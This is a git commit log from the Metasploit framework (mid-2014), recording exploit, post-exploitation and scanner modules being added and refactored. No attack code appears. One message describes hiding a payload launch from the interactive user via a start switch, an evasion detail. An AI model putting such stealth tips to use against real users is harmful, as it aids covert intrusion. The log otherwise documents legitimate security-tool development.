Samuel Huckins 82760bf5b3 Deprecation warnings hidden for non-listeners 2014-08-15 12:33:44 -05:00
Samuel Huckins 149c3ecc63 Various merge resolutions from master <- staging
* --ask option ported to new location
* --version option now works
* MSF version updated
* All specs passing
2014-08-15 11:33:31 -05:00
jvazquez-r7 4cfd2abd8d Land #3621, @kaospunk's exploit for gitlab-shell CVE-2013-4490 command injection 2014-08-15 09:17:16 -05:00
jvazquez-r7 4e0f6dfcc7 Do minor cleanup 2014-08-15 09:10:08 -05:00
darkbushido ac29ba957c Merge branch 'staging/electro-release' into aruba-testing 2014-08-15 09:02:53 -05:00
Meatballs 8302e82ca1 Use x64 ptr sizes 2014-08-14 23:32:04 +01:00
Samuel Huckins 1183c5cfeb Merge branch 'update-rubocop-yaml' 2014-08-14 12:44:30 -05:00
Samuel Huckins 9553bfc45f Merge branch 'remove-rubocop' 2014-08-14 12:41:04 -05:00
Samuel Huckins 45490e7e59 Merge branch 'master' of github.com:rapid7/metasploit-framework 2014-08-14 12:36:41 -05:00
Tod Beardsley a80d4c25a6 Be more forceful about Rubocop in CONTRIBUTING.md 2014-08-14 11:51:44 -05:00
Tod Beardsley ee968db9ef Include .rubocop.yml from PR #3649 2014-08-14 11:20:19 -05:00
Tod Beardsley fbb8262704 More .rubocop.yml exceptions
While we expect to remove Rubocop via PR rapid7#3639 , the Rubocop YAML
file is still useful for those developers that want to use Rubocop on
their own. Like me, for instance.
2014-08-14 11:17:14 -05:00
Brandon Turner 62b81d6814 Merge pull request #3644 from dmaloney-r7/bug/MSP-11050/rails_root
MSP-11050 #land
2014-08-14 08:52:15 -05:00
inkrypto 5fee4df2c0 BA EMC modules 2014-08-13 23:18:43 -04:00
sinn3r f91116a8e8 Land #3634 - Virtual box 3D Acceleration OpenGL Host escape 2014-08-13 20:08:13 -05:00
kaospunk 5ed3e6005a Implement suggestions
This commit addresses feedback such as adding a check
function and changing the login fail case by being
more specific on what is checked for. The failing
ARCH_CMD payloads were addressed by adding BadChars.
Last, an ARCH_PYTHON target was added based on
@zerosteiner's feedback.
2014-08-13 20:26:48 -04:00
darkbushido 565f622fe0 renaming targets.yml to .example
ignoring the targets.yml file
2014-08-13 17:40:51 -05:00
darkbushido 0d045d007a moving the module file
adding some comments on things we should not see when running
msfconsole
2014-08-13 17:37:40 -05:00
Lance Sanchez e7f773fda2 Merge pull request #2 from jhart-r7/target_hooks
Target hooks
2014-08-13 17:35:21 -05:00
Jon Hart e66d2c8d19 Merge branch 'aruba-testing' into target_hooks 2014-08-13 15:29:53 -07:00
Jon Hart 0bb9214753 Add missed files 2014-08-13 15:25:41 -07:00
Jon Hart 2f45d2c72e Add @target hooks to set RHOST/RHOSTS from config 2014-08-13 15:22:09 -07:00
darkbushido 74daf14e54 moving the scenarios around 2014-08-13 17:02:11 -05:00
darkbushido 2409da9555 cutting down on steps calling steps 2014-08-13 16:46:36 -05:00
Lance Sanchez 372178b523 Merge pull request #1 from jhart-r7/aruba-testing
Add @msfconsole tag, simpler module example
2014-08-13 16:44:05 -05:00
jvazquez-r7 127d094a8d Dont share once device is opened 2014-08-13 16:13:38 -05:00
Jon Hart fa6d356425 Add @msfconsole tag, simpler module example 2014-08-13 13:55:11 -07:00
darkbushido c82ba34f7c working on a first pass at cucumber for framework 2014-08-13 14:28:28 -05:00
sinn3r 558cea6017 Land #3638 - Add VMTurbo Operations Manager 'vmtadmin.cgi' RCE 2014-08-13 11:55:56 -05:00
jvazquez-r7 e0ed777d0b Land #3646, @Meatballs1 tidy of virtual_box_guest_additions 2014-08-13 08:44:10 -05:00
Meatballs 05a198bc96 Correct spelling 2014-08-13 14:06:25 +01:00
Spencer McIntyre 56c96f3aa2 Land #3647, @Meatballs1 correct unpack specifier 2014-08-13 08:44:38 -04:00
Meatballs 256204f2af Use correct pack/unpack specifier 2014-08-13 11:36:16 +01:00
Meatballs 4a01c27ed4 Use get_env and good pack specifier 2014-08-13 10:59:22 +01:00
Emilio Pinna 4ff73a1467 Add version build check 2014-08-13 09:53:43 +02:00
James Lee b7e4bd4080 Fix 'domain\user' reporting in mremote 2014-08-12 18:01:42 -05:00
jvazquez-r7 50e2e325d7 Land #3534, @KoreLogicSecurity's exploit for CVE-2014-2477 2014-08-12 17:18:34 -05:00
jvazquez-r7 da4b572a0d Change module name 2014-08-12 17:17:26 -05:00
jvazquez-r7 3eccc12f50 Switch from vprint to print 2014-08-12 17:11:24 -05:00
jvazquez-r7 f203fdebcb Use Msf::Exploit::Local::WindowsKernel 2014-08-12 17:09:39 -05:00
jvazquez-r7 e1debd68ad Merge to update 2014-08-12 16:21:39 -05:00
jvazquez-r7 183b27ee27 There is only one target 2014-08-12 16:14:41 -05:00
jvazquez-r7 c8e4048c19 Some style fixes 2014-08-12 16:11:31 -05:00
jvazquez-r7 ea3d2f727b Dont fail_with while checking 2014-08-12 16:09:59 -05:00
Emilio Pinna 3440f82b2e Minor description adjustment 2014-08-12 22:18:59 +02:00
Emilio Pinna 9e38ffb797 Add the check for the manual payload setting 2014-08-12 21:55:42 +02:00
sinn3r b84192c654 Land #3642 - Be sure which the full payload is used 2014-08-12 14:52:26 -05:00
jvazquez-r7 93990f4578 Land #3631, @wchen-r7's fixes to avoid datastore options assignment at runtime 2014-08-12 14:46:02 -05:00
jvazquez-r7 b46b6af50d Land #3630, @wchen-r7's fix for datastore assignments on smb_enumusers 2014-08-12 14:26:55 -05:00
David Maloney 84374fe92c Merge branch 'staging/electro-release' into bug/MSP-11050/rails_root 2014-08-12 13:54:38 -05:00
David Maloney 12f1234296 always set our rails root to our root
this works fine when calling any framework binaries
from their path as CWD. if you call tehm from another path
you will get an incorrect root which can cause certain things to load
incorrectly

Signed-off-by: David Maloney <DMaloney@rapid7.com>
2014-08-12 13:53:28 -05:00
jvazquez-r7 33da1a6871 Give a chance to the mixin 2014-08-12 13:49:39 -05:00
Emilio Pinna 5b6be55c50 Fix (properly) 'execute_command()' missing 'opts' parameter 2014-08-12 19:49:27 +02:00
Tod Beardsley bbcd63cd10 Update Gemfile.lock as well for PR #3639 2014-08-12 12:28:39 -05:00
Emilio Pinna 3af17ffad0 Fixed 'execute_command()' missing 'opts' parameter 2014-08-12 19:24:24 +02:00
jvazquez-r7 042423088c Make sure which the full payload is used 2014-08-12 11:41:29 -05:00
David Maloney fcfce9efec Merge branch 'staging/electro-release' into feature/MSP-10992/scanner-dry 2014-08-12 11:22:51 -05:00
Tod Beardsley 47cb906408 Remove rubocop and msftidy touchpoints
Rubocop replaces the default YAML library which makes development
testing difficult. It does not cause problems on Travis, but according
to reports, it does cause instability with many individual dev
environments.

While I would love to have a more solid source of this bug report, right
now this was an oral report from @shuckins-r7 (who I tend to believe a
lot).
2014-08-12 10:37:58 -05:00
cx c937e80521 Added Fixes#2 mentioned by Firefart
Details:
* MSF's HTTP::Wordpress class included and wordpress related
variables are used.
2014-08-12 15:16:43 +03:00
Emilio Pinna f71589f534 Simplify payload upload using 'CmdStager' mixin 2014-08-12 10:49:17 +02:00
sinn3r 4aeb1eda9c Don't use datastore options as default values 2014-08-11 18:55:32 -05:00
kaospunk 4e6a04d3ad Modifications for login and key addition
This commit adds additional support for logging in
on multiple versions of Gitlab as well as adding a
key to exploit the vulnerability.
2014-08-11 19:54:10 -04:00
Emilio Pinna cc5770558d Remove local payload saving used for debugging 2014-08-11 19:16:14 +02:00
Emilio Pinna 4790b18424 Use FileDropper mixin to delete uploaded file 2014-08-11 19:02:09 +02:00
Emilio Pinna ac526ca9bd Fix print_* to vprint_* in check method 2014-08-11 18:58:11 +02:00
Emilio Pinna 4b4b24b79d Fix errors printing 2014-08-11 18:54:43 +02:00
Emilio Pinna c97cd75beb Rephrase 'Author' section 2014-08-11 18:52:21 +02:00
Emilio Pinna 0138f3648d Add VMTurbo Operations Manager 'vmtadmin.cgi' Remote Command Execution module. 2014-08-11 16:57:39 +02:00
cx c90434c926 Added Fixes mentioned by Firefart
Details:
* string interpolation removed
* Minor styling issues are fixed
  * peer var used
* target_uri added instead of datastore
2014-08-11 14:37:39 +03:00
kaospunk a995bcf2ef Fix URI building and failure cases
This update uses the normalize_uri method for building
URIs. Additionally, failure cases have been modified
for a less generic version.
2014-08-10 19:53:33 -04:00
Meatballs 351b687759 Land #3612, Windows Local Kernel exploits refactor 2014-08-10 22:05:06 +01:00
Meatballs b277f588fb Use railgun helper functions 2014-08-10 21:52:12 +01:00
Jon Hart 8e626c1b60 Add rspec coverage for Msf::Auxiliary::DRDoS 2014-08-09 21:12:10 -07:00
joev af3ca19ab2 Land #3501, @AnwarMohamed's android meterpreter commands. 2014-08-09 16:29:59 -05:00
Anwar Mohamed 92432503ce Merge pull request #5 from jvennix-r7/android_ext3
Final-round of code tweaks. All commands working well.
2014-08-09 23:45:45 +03:00
Tod Beardsley ef2663a050 Land #3637, on stage, from unknown 2014-08-09 14:16:06 -05:00
Tod Beardsley 08bb815bd8 Add Yokogawa unauth admin module 2014-08-09 13:30:10 -05:00
joev dbaa377aa1 Final-round of code tweaks. All commands working well. 2014-08-09 13:04:52 -05:00
jvazquez-r7 486b5523ee Refactor set_version 2014-08-09 02:17:07 -05:00
jvazquez-r7 d959affd6e Delete debug message 2014-08-09 01:58:42 -05:00
jvazquez-r7 da04b43861 Add module for CVE-2014-0983 2014-08-09 01:56:38 -05:00
Jon Hart d6198c786d Move rdoc for Msf::Auxiliary::DRDoS 2014-08-08 23:23:48 -07:00
Jon Hart a5e9abc227 Update R7-2014-12 NTP modules to use new DRDoS mixin 2014-08-08 23:15:54 -07:00
Jon Hart ddcaa11216 Add new mixin for helping to detect DRDoS vulns 2014-08-08 23:15:09 -07:00
Jon Hart c48cf48d85 Return the NTP message, not the string 2014-08-08 21:39:48 -07:00
Jon Hart 00452b41c9 Gut admin functions from R7-2014-12 NTP modules
None of these are admin modules.  All of that stuff should eventually go
in auxiliary/admin
2014-08-08 21:22:11 -07:00
Jon Hart ed3ccdc9e0 Initial commit of modules for NTP vulns described in R7-2014-12
Not entirely functional or polished, but mostly working
2014-08-08 21:00:43 -07:00
Jon Hart 3307726c21 Land #3627, @wchen-r7's cleanup of ctypes in smb_enumshares 2014-08-08 19:17:15 -07:00
Jon Hart 73253b575a Land #3626, @wchen-r7's storing of text loot as txt 2014-08-08 18:57:38 -07:00
Jon Hart b3bb20f569 Land #3629, @wchen-r7's HTTP traversal fixes 2014-08-08 18:08:32 -07:00
Jon Hart c35dc4d3ac Extract query params separately
Prevents stomping on data
2014-08-08 18:07:25 -07:00
sinn3r 93174a818b Land #3628 - Add --ask option in msfconsole 2014-08-08 11:03:15 -05:00
sinn3r 969e5ddd39 Override the correct smb_direct 2014-08-07 18:48:46 -05:00
sinn3r 3b27102c4c Override the correct smb_direct 2014-08-07 18:47:33 -05:00
sinn3r 436e2abfff Fix datastore options 2014-08-07 17:59:40 -05:00
sinn3r 1963318e70 Fix datastore options 2014-08-07 17:58:25 -05:00
sinn3r ab8f2c7d3f Datastore option fix 2014-08-07 17:57:44 -05:00
sinn3r 6f8c7f092a Fix direct datastore assignments to pass msftidy 2014-08-07 17:51:45 -05:00
sinn3r 2967d85e44 Land #3624 - Wordpress XMLRPC DoS 2014-08-07 17:25:22 -05:00
Iquaba b33d2b8583 Adds a newline for readability 2014-08-07 13:49:13 -05:00
Iquaba 6cea921478 Adds --ask option to prompt before exiting msfconsole 2014-08-07 13:44:46 -05:00
sinn3r c79fe731c5 Um, this is the right way to do it. 2014-08-07 13:32:48 -05:00
sinn3r f7bda738cf Fix file handle leak 2014-08-07 13:30:34 -05:00
sinn3r 711630d059 Fix datastore assignments 2014-08-07 13:28:51 -05:00
sinn3r c7090f57a5 Fix "text" ctype in smb_enumshares
"text" is not a valid ctype, should be text/plain
2014-08-07 11:25:55 -05:00
Christian Mehlmauer a7be5b5164 Added fingerprinting 2014-08-07 18:12:58 +02:00
sinn3r e432f3f442 Support all text-based ctypes 2014-08-07 11:10:32 -05:00
sinn3r f3d90ada14 Land #3625 - Update adobe_pdf_embedded_exe target description 2014-08-07 11:01:30 -05:00
jvazquez-r7 b259e5b464 Update description again 2014-08-07 09:21:25 -05:00
jvazquez-r7 4af0eca330 Update target description 2014-08-07 09:11:01 -05:00
Christian Mehlmauer d6e60453d6 Added Wordpress XMLRPC DoS 2014-08-07 11:38:44 +02:00
Meatballs 1c6b74467f Land #3618, @byt3bl33d3r's powershell require fix 2014-08-06 18:24:16 +01:00
Spencer McIntyre 2ed02c30a8 Use better variable names instad of an array 2014-08-05 21:34:36 -07:00
Spencer McIntyre b602e47454 Implement improvements based on feedback 2014-08-05 21:24:37 -07:00
kaospunk 48359faaaf Add gitlab-shell command injection module
This request adds a module for gitlab-shell command
injection for versions prior to 1.7.4. This has been
tested by installing version 7.1.1 on Ubuntu and then
using information at http://intelligentexploit.com/view-details.html?id=17746
to modify the version of gitlab-shell to a vulnerable one. This
was done as I could not find a better method for downloading
and deploying an older, vulnerable version of Gitlab.
2014-08-05 23:21:57 -04:00
sinn3r 9b6259e58b Land #3569 - Updated smb_enumshares to support spidering 2014-08-05 20:23:09 -05:00
sinn3r f520616730 This fixes a few things, see commit message for more info
This commit fixes the following:

1. Not handling eval_host()'s nil file return value, which can causes
   a NoMethodError at runtime due to various conditions.
2. Renames datastore option VERBOSE to ShowFiles to pass msftidy
3. Avoids overwriting datastore options directly to pass msftidy
2014-08-05 19:20:11 -05:00
Samuel Huckins 34a42476b2 Merge branch 'master' of github.com:rapid7/metasploit-framework 2014-08-05 16:30:32 -05:00
byt3bl33d3r 77bba6e4ee fixed msfcli with missing require 2014-08-05 09:38:33 +02:00
Alton Johnson da845c7e89 Changed default VERBOSE option to false. 2014-08-04 18:06:35 -05:00
Jon Hart f25bb735a0 Land #3543, @todb-r7's Rubocop cleanup of MS08-067 2014-08-04 14:35:30 -07:00
Jon Hart b81c7e28f4 Land #3588, @tobd-r7's Fix SpaceBeforeModifierKeyword Rubocop warning 2014-08-04 14:25:03 -07:00
sinn3r 7044dabea1 Land #3600 - GPP Junk Padding Fix 2014-08-04 16:21:57 -05:00
Spencer McIntyre 9cd6353246 Update mqac_write to use the mixin and restore pointers 2014-08-04 12:15:39 -07:00
Spencer McIntyre a523898909 Apply rubocop suggestions for ms_ndproxy 2014-08-04 11:49:01 -07:00
Spencer McIntyre 86e2377218 Switch ms_ndproxy to use the new WindowsKernel mixin 2014-08-04 11:49:01 -07:00
Spencer McIntyre 58d29167e8 Refactor MS11-080 to use the mixin and for style 2014-08-04 11:49:01 -07:00
Spencer McIntyre 6543b08eb4 Support writing a copy of the original token 2014-08-04 11:49:00 -07:00
Spencer McIntyre 4b73ad6f40 Fix guessing the arch with modules specifying an array 2014-08-04 11:49:00 -07:00
Spencer McIntyre 893b9a6e99 Add an open_device function for wrapping CreateFileA 2014-08-04 11:49:00 -07:00
Spencer McIntyre 43a5120696 Cleanup the WindowsKernel mixin 2014-08-04 11:49:00 -07:00
Spencer McIntyre 49837a3ba6 Create a basic WindowsKernel exploit mixin 2014-08-04 11:49:00 -07:00
William Vu f274eb78ac Land #3610, release fixes 2014-08-04 12:40:41 -05:00
Tod Beardsley 4de59ad7d1 Add reasonable description for gnome-commander 2014-08-04 12:35:34 -05:00
jvazquez-r7 ed97751ead Land #2999, @j0hnf's modifiction to check_dir_file to handle file: 2014-08-04 11:55:18 -05:00
jvazquez-r7 cd45ed0e0a Handle exceptions when connecting the SMBHSARE 2014-08-04 11:54:30 -05:00
jvazquez-r7 85b5c5a691 Refactor check_path 2014-08-04 11:48:13 -05:00
jvazquez-r7 1e29bef51b Fix msftidy warnings 2014-08-04 11:46:27 -05:00
jvazquez-r7 04bf0b4ab6 Fix forgotten comma 2014-08-04 11:34:12 -05:00
jvazquez-r7 68d8afc18d Land #3604, @hmoore-r7's [FixRM #8838] smb_lookupsid nil class dereference 2014-08-04 10:38:42 -05:00
Miroslav Stampar c280c2528b Fix gettelnet usability 2014-08-04 12:02:07 +02:00
Joshua Smith 159ce3fbbe Land 3587, add rubocop autoconfig 2014-08-04 01:18:34 -05:00
Joshua Smith 3e3caeb6ee Land 3591, fix post/test/* modules' loadpath
some additional module cleanup here:
SHA: 6884c87cfa
2014-08-04 01:07:35 -05:00
Joshua Smith 6884c87cfa removes IDs/Revisions, resplats test/modules 2014-08-04 01:04:23 -05:00
Joshua Smith f2e4d41697 Land 3607, sqlmap plugin cleanup
after some additional cleanup here:
SHA: a4f2fb218c
2014-08-04 00:12:53 -05:00
Joshua Smith a4f2fb218c adds most rubocop cleanups, not all 2014-08-04 00:11:25 -05:00
Joshua Smith c08b1cb829 uses mult-assign & include? more readable 2014-08-03 23:59:03 -05:00
Joshua Smith 453d19713d Land 3605, hides flash during cmd_psh_payload 2014-08-03 23:45:44 -05:00
Joshua Smith 282633fd9d Land 3606, makefile typo fix for CVE-2013-2465 2014-08-03 23:28:20 -05:00
Joshua Smith 6c2b8f54cf rubocop cleanup, long lines, etc 2014-08-03 23:19:08 -05:00
OJ 2b021e647d Minor tidies to conform to standards 2014-08-03 23:19:08 -05:00
OJ 31c51eeb63 Move error messages to check 2014-08-03 23:19:08 -05:00
OJ cbf15660bf Add some small fixes to the MQAC local exploit
* Check for `INVALID_HANDLE_VALUE` when attempting to open the
  device, as this is what is returned when the device doesn't exist.
* Make sure that we only run the exploit against tartgets that we
  support directly to make sure we don't BSOD machines (such as what
  happens with SP1/SP2).
* Add a call to `check` in the exploit code.
2014-08-03 23:19:08 -05:00
Victor 3fd15d001d Update sqlmap.rb 2014-08-04 04:25:33 +04:00
Victor 2805af2a04 \t error msgs bug and some codestyle tweaks
Minor bugs: `\t` were used inside single quoted strings.
Tweak: `a, b = c` is the same as `a = c[0]; b = [1] if c.length > 1`.
Minor tweak: `qwe if rty` form instead of multiline when `qwe` is only one line long.
Minor tweak: thanks to `#{}` interpolation we can omit `.to_s`.
2014-08-04 04:11:49 +04:00
HD Moore 8cca4d7795 Fix the makefile to use the right directory
Reported by severos on IRC, the current output
class is in the right place, but the makefile
was broken.
2014-08-03 13:38:15 -05:00
b00stfr3ak 88f23832e6 Added Time out
For some reason the handler was closing before the command could
complete.  Added the time out from bypassuac and now both psh and exe
work perfectly.
2014-08-02 14:29:42 -07:00
Tom Sellers 693e744da4 Hide icon flash on taskbar during cmd_psh_payload
When 'cmd_psh_payload' is run via 'cmd_exec' on a windows shell that is running in the context of an interactive user an icon will flash very quickly on the user's task bar.  This can be avoided (verified) by adding the /b switch to the start section of the command launcher text.  I have verified that this switch exists from Windows 2000 through Windows 2012 R2.
2014-08-02 15:52:52 -05:00
HD Moore 3bc8d1fee9 See #RM8838. Handle null domain_sid properly
This switches to the local sid if the domain sid is null, even if
the ACTION is set to DOMAIN. This solves the issue identified in

```
[*] 192.168.0.4 PIPE(LSARPC) LOCAL(NAS - 5-21-2272853860-1115691317-1341221697) DOMAIN(WORKGROUP - )
[-] 192.168.0.4 No domain SID identified, falling back to the local SID...
[*] 192.168.0.4 USER=guest RID=501
[*] 192.168.0.4 GROUP=None RID=513
```
2014-08-02 14:25:17 -05:00
us3r777 cd2e225359 Refactored auxilliary jboss_bshdeployer
Switch modules/auxiliary/admin/http/jboss_bshdeployer.rb to use the
changes.
2014-08-02 11:10:49 +02:00
b00stfr3ak add5cefe17 Change runas method to use lib
Changed runas method to use the new runas lib.  Also did some rubocop
changes.
2014-08-01 17:13:24 -07:00
b00stfr3ak df98098b0c New shell_execute_option command
Also removed upload option
2014-08-01 17:12:04 -07:00
b00stfr3ak 5aa347ef65 Changed Method Names
Changed names to look like shell_execute_(option), to make it more
defined on what it does.
2014-08-01 17:10:32 -07:00
us3r777 a800e7f1ea Merge pull request #1 from jvazquez-r7/work_3540
Work on jboss refactoring
2014-08-02 01:02:53 +02:00
b00stfr3ak 5c2b074264 Matched bypassuac to upstream 2014-08-01 14:40:23 -07:00
b00stfr3ak def652a50e Merge https://github.com/rapid7/metasploit-framework into bypassuac/psh_option 2014-08-01 14:32:55 -07:00
Tod Beardsley c31fc61617 Land #3270, @jlee-r7 deprecation ipv6 payloads
These are not needed, since you can just config the regular handler now
and pick either.

This resolves the conflict (rm'ed the old modules)

Conflicts:
	modules/payloads/stagers/windows/reverse_ipv6_http.rb
	modules/payloads/stagers/windows/reverse_ipv6_https.rb
2014-08-01 16:27:59 -05:00
David Maloney ab7111120b and all the rest
finally!
2014-08-01 14:54:18 -05:00
David Maloney 4821851ae4 telnet and ssh next 2014-08-01 14:47:08 -05:00
David Maloney 12902b0a6d the refactor continues! 2014-08-01 14:41:03 -05:00
David Maloney b74813b9a1 mysql and pop3 now 2014-08-01 14:30:33 -05:00
jvazquez-r7 73ca8c0f6d Work on jboss refactoring 2014-08-01 14:28:26 -05:00
David Maloney 2e7738c788 http and mssql now 2014-08-01 14:22:58 -05:00
David Maloney 33f73a8af7 refactor db2 2014-08-01 13:00:27 -05:00
David Maloney 439b893fea refactor axislogin 2014-08-01 12:30:16 -05:00
David Maloney 0fffb179fa refactor afp_login 2014-08-01 12:10:52 -05:00
David Maloney c3691ba056 finish refactoring ftp_login 2014-08-01 12:06:13 -05:00
David Maloney db345fcb58 make credential_collection always set private_type 2014-08-01 11:57:35 -05:00
David Maloney a380646667 start refactoring ftp loginscanner 2014-08-01 11:47:13 -05:00
David Maloney 320f032dfe add to_h to result 2014-08-01 11:46:43 -05:00
David Maloney dbde046f44 use to_h instead of to_hash
apparently ruby 2 adds this as a standard method so
we should stay compliant
2014-08-01 09:45:51 -05:00
David Maloney 0e65792f43 Merge branch 'staging/electro-release' into feature/loginscanner-report-dry 2014-08-01 09:41:30 -05:00
Meatballs b4111df381 Retab spec 2014-08-01 14:41:20 +01:00
Meatballs 4ef3de84f3 get some more test cases 2014-08-01 14:34:17 +01:00
Meatballs 1fb4216d6d Update spec 2014-08-01 12:08:03 +01:00
David Maloney 374c6532fa add to_hash to Credential
begining of the chain to DRYing up
credential reporting in the loginscanner
2014-07-31 18:10:48 -05:00
Meatballs f737108bf7 Land #2551, Runas post library and powershell ask technique 2014-07-31 23:17:31 +01:00
Meatballs 902cf4bc1e Fix var name 2014-07-31 23:16:53 +01:00
Meatballs 90c0f587bf Fix for newer powershell 2014-07-31 23:11:51 +01:00
Meatballs 15c1ab64cd Quick rubocop 2014-07-31 23:11:00 +01:00
Meatballs d336c56b99 Merge remote-tracking branch 'upstream/master' into land_2551 2014-07-31 23:06:37 +01:00
Meatballs e05904c3f3 Land #3597, script/web_delivery powershell fixes 2014-07-31 23:00:31 +01:00
Meatballs bff8a734ae Fix and be Architecture Agnostic 2014-07-31 22:58:43 +01:00
Spencer McIntyre 5a25120660 Apply rubocop changes to multi/script/web_delivery 2014-07-31 16:16:23 -04:00
Spencer McIntyre 8af4c496c9 Add a missing include and require statement for psh 2014-07-31 16:08:25 -04:00
William Vu 0546282441 Land #3590, #3574 reversion 2014-07-31 09:59:04 -05:00
b00stfr3ak 391e2bb99b Fixed some style changes
Removed upload var, it really served no purpose.
2014-07-30 22:42:07 -07:00
Meatballs 53b66f3b4a Land #2075, Powershell Improvements 2014-07-31 00:49:39 +01:00
James Lee 23b04c8ece Fix post/test/* modules' loadpath
Allows loading when pwd is not framework's install root
2014-07-30 14:21:42 -05:00
Tod Beardsley 3320a1ef77 Revert PR #3574
This reverts commit 96945442ff.

With this PR, the following now appears in framework.log:

````
[07/30/2014 14:01:37] [e(0)] core: Error updating module details for
auxiliary/fuzzers/http/http_form_field: NoMethodError undefined method
`name' for []:Array
````
2014-07-30 14:06:46 -05:00
jvazquez-r7 4ed085d0d2 Land #3581, @FireFart's update for W3 Total Cache Hash extract module 2014-07-30 10:45:11 -05:00
jvazquez-r7 674c3ca260 Use [] for references 2014-07-30 10:44:42 -05:00
Tod Beardsley 7bf9d25221 Also remove the offenses from the todo 2014-07-30 10:30:58 -05:00
jvazquez-r7 a79eec84ac Land #3584, @FireFart's update for wp_asset_manager_upload_exec 2014-07-30 10:28:51 -05:00
Tod Beardsley 49e48566da Ignore PercentLiteralDelimiters and WordArray
Per a discussion in IRC, these rules in particular don't
appear to be valuable for Metasploit at this stage.
2014-07-30 10:28:12 -05:00
jvazquez-r7 9de8297848 Use [] for References 2014-07-30 10:28:00 -05:00
jvazquez-r7 313fd6ffab Land #3582, @FireFart's rubocop cleanup for wp_property_upload_exec 2014-07-30 10:24:58 -05:00
jvazquez-r7 58fbb0b421 Use [] for References 2014-07-30 10:24:14 -05:00
Anwar Mohamed 8766faa14e Merge pull request #4 from jvennix-r7/anwar-android-bins
Rebuilt Android bins, remove store_loot calls
2014-07-30 13:07:53 +02:00
Joe Vennix ed6594ddb8 Change filename to calllog_dump. 2014-07-30 00:16:23 -07:00
Joe Vennix ece3b5583a Revert to file-based solution. 2014-07-30 00:13:44 -07:00
Joe Vennix c52b72830a Merge branch 'android_ext2' of github.com:AnwarMohamed/metasploit-framework into anwar-android-bins 2014-07-29 23:58:42 -07:00
HD Moore 318418a90b Lands #3589, adds rhost:rport to vmware fingerprint 2014-07-29 18:50:53 -05:00
jvazquez-r7 1fe459eb42 Add info to know where the info comes from 2014-07-29 18:47:40 -05:00
OJ f3e8c51573 Merge rubocop changes from Kernelsmith 2014-07-30 08:35:57 +10:00
Tod Beardsley adf03e28ce Fix SpaceBeforeModifierKeyword Rubocop warning
This also deals with some errant tabs where internal spaces should be,
as well as one syntax error which was preventing an old meterpreter
script from ever working correctly.

Some day, we need to get rid of those Meterpeter scripts. Srsly.
2014-07-29 17:10:54 -05:00
Tod Beardsley 1e47383118 Add .rubocop_todo.yml 2014-07-29 16:54:19 -05:00
Tod Beardsley 4871492ec1 Tidy up .rubocopy.yml
This alphabetizes the configuration for rubocop.yml and preps for a
rubocop auto-config so we're not constantly hit with warnings.
2014-07-29 16:48:49 -05:00
Christian Mehlmauer 75057b5df3 Fixed variable 2014-07-29 21:02:15 +02:00
Christian Mehlmauer cc3285fa57 Updated checkcode 2014-07-29 20:53:54 +02:00
Christian Mehlmauer 61ab88b2c5 Updated wp_asset_manager_upload_exec module 2014-07-29 20:53:18 +02:00
Christian Mehlmauer e438c140ab Updated wp_property_upload_exec module 2014-07-29 20:34:34 +02:00
Christian Mehlmauer 3d2a62bc29 Updated W3 Total Cache Hash extract module 2014-07-29 19:49:48 +02:00
AnwarMohamed c2be3d6875 fixing autoload bug 2014-07-29 17:51:56 +02:00
AnwarMohamed b02dbcc2e7 remove extra whitespace 2014-07-29 16:23:27 +02:00
AnwarMohamed 7512e04894 fixing autoload 2014-07-29 16:21:31 +02:00
jvazquez-r7 820ea7e50b Land #3577, @FireFart's update for wordpress foxypress module 2014-07-29 09:10:07 -05:00
AnwarMohamed 6bbb2124a7 bug fixing 2014-07-29 15:49:14 +02:00
us3r777 d6c7eb8850 Fixed a typo introduced in commit 9e92448 2014-07-29 09:04:12 +02:00
Joe Vennix 27444e61ef Merge branch 'android_ext2' of github.com:AnwarMohamed/metasploit-framework into anwar-android-bins 2014-07-28 21:30:04 -07:00
Joshua Smith e00d892f99 rubocop cleanup, long lines, etc 2014-07-28 22:04:45 -05:00
us3r777 2efeb850ee Added spec to lib/msf/http/jboss 2014-07-29 02:04:57 +02:00
us3r777 9e9244830a Added spec for lib/msf/http/jboss
Also renamed get_undeploy_bsh and get_undeploy_stager to
gen_undeploy_bsh and gen_undeploy_stager to be consistent
with the other functions
2014-07-29 01:57:04 +02:00
William Vu 0208420a67 Land #3565, GNOME Commander post module 2014-07-28 17:28:36 -05:00
William Vu f4bd44d9c6 Fix outstanding issues 2014-07-28 17:28:15 -05:00
David Bloom a904ed8507 Update gnome_commander_creds.rb 2014-07-28 22:49:13 +02:00
David Bloom b121bf6d6c Update gnome_commander_creds.rb 2014-07-28 22:46:50 +02:00
Christian Mehlmauer 621e85a32d Correct version 2014-07-28 22:45:04 +02:00
Christian Mehlmauer d334797116 Updated foxpress module 2014-07-28 22:23:22 +02:00
William Vu ba7d8efb07 Land #3574, has_actions.rb cleanup 2014-07-28 12:59:33 -05:00
William Vu d85b081809 Land #3575, nessus_xmlrpc_ping service state fix 2014-07-28 12:55:36 -05:00
Christopher Truncer 7129108c58 Fixed status in MSF db for Nessus 2014-07-28 13:49:24 -04:00
jvazquez-r7 79fe342688 Land #3558, @FireFart's improvements to wordpress mixin 2014-07-28 09:52:20 -05:00
jvazquez-r7 2d5fd5e0d5 Use constant for WORDPRESS_VERSION_PATTERN 2014-07-28 09:22:50 -05:00
jvazquez-r7 b061d24b84 Favor & over and 2014-07-28 09:05:53 -05:00
cx 7247f8879b Empty line fix
Details:
* Empty line fix added to each_user_pass function
2014-07-28 12:50:41 +03:00
AnwarMohamed 283046b25d fixing auto load on new session 2014-07-28 10:49:50 +02:00
Joe Vennix 173381b205 Merge branch 'android_ext2' of github.com:AnwarMohamed/metasploit-framework into anwar-android-bins 2014-07-27 23:04:03 -07:00
AnwarMohamed 9f0bf67521 fixing minor bugs 2014-07-28 07:49:46 +02:00
Joe Vennix 2b46e76e85 Recompiled again. 2014-07-27 22:23:26 -07:00
Joshua Smith 96945442ff removes unnec. retruns & uses of 'not' - has_actions.rb 2014-07-27 18:20:12 -05:00
Joe Vennix ae1f498aae Check in new android binaries. 2014-07-27 13:22:12 -07:00
cx 5679a72aa8 Added Fixes mentioned by jhart-r7
Details:
* res && res.body fix
  * empty return removed
* vprint added/changed
* is_? convention fixed
* Unknown error removed
* Minor styling issues are fixed
* VERBOSE Option Removed
2014-07-27 00:40:37 +03:00
ikkini 18f1bdbb2c Merge pull request #1 from todb-r7/fix-pr3570
Revert "change to .gitignore"
2014-07-26 07:55:23 +02:00
Alton Johnson 555e6c9cff Modified a few things based on suggestions. 2014-07-25 18:23:12 -05:00
